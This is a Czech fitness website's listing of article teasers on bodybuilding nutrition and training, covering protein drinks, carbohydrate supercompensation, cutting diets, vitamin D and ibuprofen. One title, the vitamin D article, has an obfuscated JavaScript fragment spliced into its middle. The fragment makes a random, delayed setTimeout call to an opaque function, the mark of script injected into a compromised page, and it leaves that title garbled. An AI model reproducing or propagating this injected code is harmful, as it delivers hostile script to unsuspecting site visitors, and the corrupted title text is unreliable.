• Výživa

    NEDOVOLTE DIETĚ, ABY VÁS PŘIPRAVILA O SVALY

    Připravil: Tomáš Novotný, lektor Trenérské školy Olympia   Příprava silových sportovců, kulturistů, závodníků kategorie men’s physique a závodnic kategorie bikini fitness se v drtivé většině případů dělí do dvou základních fází –objemové a redukční. V té objemové je hlavním cílem nárůst svalové hmoty a vylepšení případných slabších partií, naopak v redukční fázi se sportovci snaží o redukci tukové tkáně při současném zachování již vybudované svalové hmoty. Udržení svalové hmoty v období diety je jedním z nejtěžších úkolů, které jsou na závodníky a závodnice estetických disciplín kladeny. Jak podpořit anabolismus a udržet svaly v redukční fázi přípravy? Základem redukční fáze je negativní kalorická bilance Když přijde na řadu fáze redukční diety, hlavní zájem sportovců se přesune z budování…

  • Výživa

    JAK SE VYZNAT V PROTEINOVÝCH NÁPOJÍCH

    Tomáš Novotný, lektor Trenérské školy Olympia     Proteinové nápoje patří mezi nejoblíbenější doplňky stravy jak mezi aktivními sportovci, tak mezi nesportující populací. Utratíme za ně podle provedených průzkumů ročně více peněz než za jakýkoliv jiný doplněk stravy – a to včetně vitaminů a minerálů. Jiné výzkumy zase ukázaly, že proteinové nápoje užívá pravidelně 9 z 10 kulturistů. Jsou zkrátka IN a svou popularitu si drží už několik dekád. Nelze se proto divit, že prakticky každá značka suplementů na trhu, a že jich není zrovna málo, nabízí svůj vlastní proteinový nápoj. Ty se potom od sebe liší nejenom chutí, ale také složením, a především kvalitou vstupních surovin. Jak se vyznat v nepřeberném…

  • Výživa

    CO NABÍZÍ SACHARIDOVÁ SUPERKOMPENZACE

    Připravil: Tomáš Novotný, lektor Trenérské školy Olympia   Už koncem 60. let minulého století odborníci objevili něco, co výrazně ovlivnilo celkový přístup sportovců k výživě v předzávodním období – sacharidovou superkompenzaci. Zajímavostí je, že si vědci pod vedením J. Bergströma dokonce v té době zkoušeli tyto průlomové experimenty sami na sobě. I po více než 50 letech je sacharidová superkompenzace poměrně živé téma, o které se intenzivně zajímá i sportovní komunita z ryze praktických důvodů. Někteří sportovci (typicky vytrvalci, ale také třeba kulturisté) si totiž tímto způsobem mohou výrazně zvýšit výkonnost a šanci na úspěch v rámci závodů. Jak sacharidová superkompenzace funguje, k čemu je ve sportu dobrá a jak ji nastavit, aby podpořila naše sportovní…

  • Tréninky,  Výživa

    PŘECHOD OBJEMOVÉHO TRÉNINKU K RÝSOVACÍMU

    Fotografie Aleše Bursy, Pavla Koukala a Adama Wellarta z dílny Josefa Adlta.   OPĚT JE TADY DOBA, kdy se budeme loučit s nevlídnou, šedivou zimou, sledovat, jak se příroda probouzí, odhazovat vrstvy zimního oblečení a pod nimi objevovat výsledky svých zimních tréninků, v tomto případě značně ovlivněných koronavirovou situací. Řadu příznivců posilování čeká přechod od klasicky objemového tréninkového programu k rýsovacímu. Ať už v rámci přípravy na soutěž (držme si všichni palce, aby se soutěže v letošním roce konaly dle původního plánu) nebo kvůli nadcházející plážové sezóně. Pravdou zůstává, že není nikdy dobré jeden den odjet objemový trénink a ten druhý radikálně nasadit rýsování. Pro tělo takový přechod znamená drastickou změnu, na kterou nebude fyzicky…

  • Výživa

    AMINOKYSELINY vs. PROTEINY

    Řada lidí se domnívá, že aminokyseliny a proteiny jsou jedno a totéž. Ale pravdou je, že proteiny jsou tvořeny aminokyselinami a obsahují různé kombinace různých aminokyselin. Odborníci přirovnávají aminokyseliny k písmenům abecedy. Představte si, že máte 26 písmen, z nichž můžete vytvářet tisíce slov, při tvorbě rostlinných či živočišných bílkovin se setkáváme s nejrůznějšími kombinacemi. Bílkoviny jsou nejčastěji se vyskytující látky v lidském těle hned po vodě. Asi polovina naší váhy, která není tvořena vodou, se skládá z bílkovin. Zhruba třetina se koncentruje ve svalech, pětina v chrupavkách a kostech, desetina v kůži a zbytek najdete ve tkáních a tělesných tekutinách.   VÝZNAM PROTEINŮ Řekové dali proteinům jejich název, který znamená „nejdůležitější“. A měli k tomu dobrý důvod.…

  • Výživa

    PŘÍRODNÍ CESTOU K LEPŠÍ VÝKONNOSTI A SILNĚJŠÍ IMUNITĚ

      Z mistrovství světa v multitaskingu by si příroda bezpochyby odvezla medaili. Je na slovo vzatým odborníkem na víceúčelovost a efektivitu. Když budete hledat přírodní prostředek ke zlepšení sportovní výkonnosti, který současně posiluje imunitu, máte rozhodně z čeho vybírat. Za zmínku určitě stojí…   KURKUMA Oblíbené exotické koření vyniká především protizánětlivými účinky. Jeho účinná látka – kurkumin – je totiž velmi silným antioxidantem. Tím pádem z hlediska výkonnosti urychluje regeneraci a umožní sportovci realizovat další náročný trénink dříve + s dostatečným nasazením. Co se týče posílení imunitního systému, máme k dispozici studie, které nám ukazují, že kurkumin podávaný ve formě suplementu podporuje celou řadu imunitních reakcí, a navíc tlumí nárůst množství zánětlivých látek ve střevech.  …

  • Výživa

    Vitamin D – PILÍŘ VAŠÍ IMUNITY a také jeden z důležitých “bojovníků“ v pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemii COVID-19

    Připravila: Petra Schäferová V posledních měsících proběhlo několik lékařských studií dokazujících spojitost dostatečné hladiny vitaminu D v organismu a schopnosti těla ubránit se nákaze virem COVID-19. V případě vypuknutí nemoci pak dostatek vitaminu D v těle výrazně zvyšuje šanci na bezpříznakový či lehký průběh nemoci.  Vitamin D zabezpečuje v těle velké množství důležitých funkcí, mezi než patří nejen metabolismus vápníku a fosforu, regulace krevního tlaku, nespočet buněčných procesů, ale právě i fungování imunity. CO NA TO ODBORNÍCI? Prestižní vědecký časopis The Lancet zveřejnil 3. srpna 2020 článek „Vitamin D for COVID-19: a case to answer?“, v němž zdůrazňuje, že vitamin D se v prevenci či léčbě akutních respiračních infekcí používá již od…

  • Výživa

    3 DIETNÍ CHYBY, KTERÉ BRZDÍ VAŠE POKROKY

    Kdo z vás má pocit, že dává do sestavení a udržení jídelníčku maximum, a přesto nejde všechno podle vašich představ? Neblokuje váš progres některá z těchto skrytých, a přitom tak zrádných chyb?   MÁTE HRŮZU Z TUKŮ Drastická eliminace tuků ze stravy může být překvapivě kontraproduktivní. Nedostatek vhodných tuků totiž škodí víc, než si možná umíte představit. V čem nám zdravé tuky prospívají? mají protizánětlivé účinky; posilují imunitu; snižují riziko vzniku onemocnění srdce; zvyšují výkonnost; urychlují regeneraci. Samozřejmě nejsou tuky jako tuky, ale těm polynenasyceným, známým také jako omega-3, byste se vyhýbat neměli. Proto dává smysl zařazovat do jídelníčku pravidelně tučné ryby (tuňák, losos atd.), případně přidat kvalitní omega-3 suplement. Rybí olej totiž mimo…

  • Výživa

    MOHOU LÉKY NA BOLEST NARUŠIT BUDOVÁNÍ HMOTY?

    Dáte si někdy při tréninku tolik do těla, že druhý den ráno automaticky sáhnete po růžové záchraně v podobě oblíbeného léku na bolest? A napadlo vás někdy, že to nemusí prospívat nárůstu svalů? Nejspíš jste se nad tím nikdy nezamýšleli a bolest byla natolik silná, že jste s pilulkou v ruce nezaváhali ani okamžik. Co kdyby vám ale někdo řekl, že když tu bolest vydržíte nebo utlumíte nějakým jiným prostředkem, dosáhnete lepších výsledků? Sportovci všech úrovní používají volně prodejné nesteroidní protizánětlivé léky překvapivě často. Nejpopulárnější účinnou látkou je bezesporu ibuprofen, skýtající nejenom úlevu od bolesti, ale také možnost utlumit zánětlivé procesy. Již v roce 2017 ovšem vědci ze švédského Institutu Karolinska uzavřeli svou studii…

  • Tréninky,  Výživa

    SEDMERO ZÁKONŮ SVALOVÉHO RŮSTU

    Dodržujte je a během tří měsíců dosáhnete výrazného nárůstu svalové hmoty. Za šest měsíců si všimnete nepřehlédnutelných změn v podobě kvalitní muskularity. DŮSLEDNOST V TRÉNINKU To je nejdůležitější faktor všech úspěšných cvičebních programů. Často si myslíme, že někdo dosahuje kvalitních výsledků, protože má „skvělou genetiku“. To sice také může být pravda, ale úspěšní bývají především ti sportovci, kteří vynikají ve vytrvalosti, soustředění a důslednosti….a to jak v posilovně, tak v kuchyni. Bez ohledu na vaše genetické schopnosti budovat svalovou hmotu, většinou můžete nabrat více svalů, než se vám kdy snilo, když budete v tréninku dostatečně důslední. Základem je pravidelný trénink týden za týdnem, měsíc po měsíci, celý rok. 2. STRAVA Musíte jíst vhodná jídla s železnou…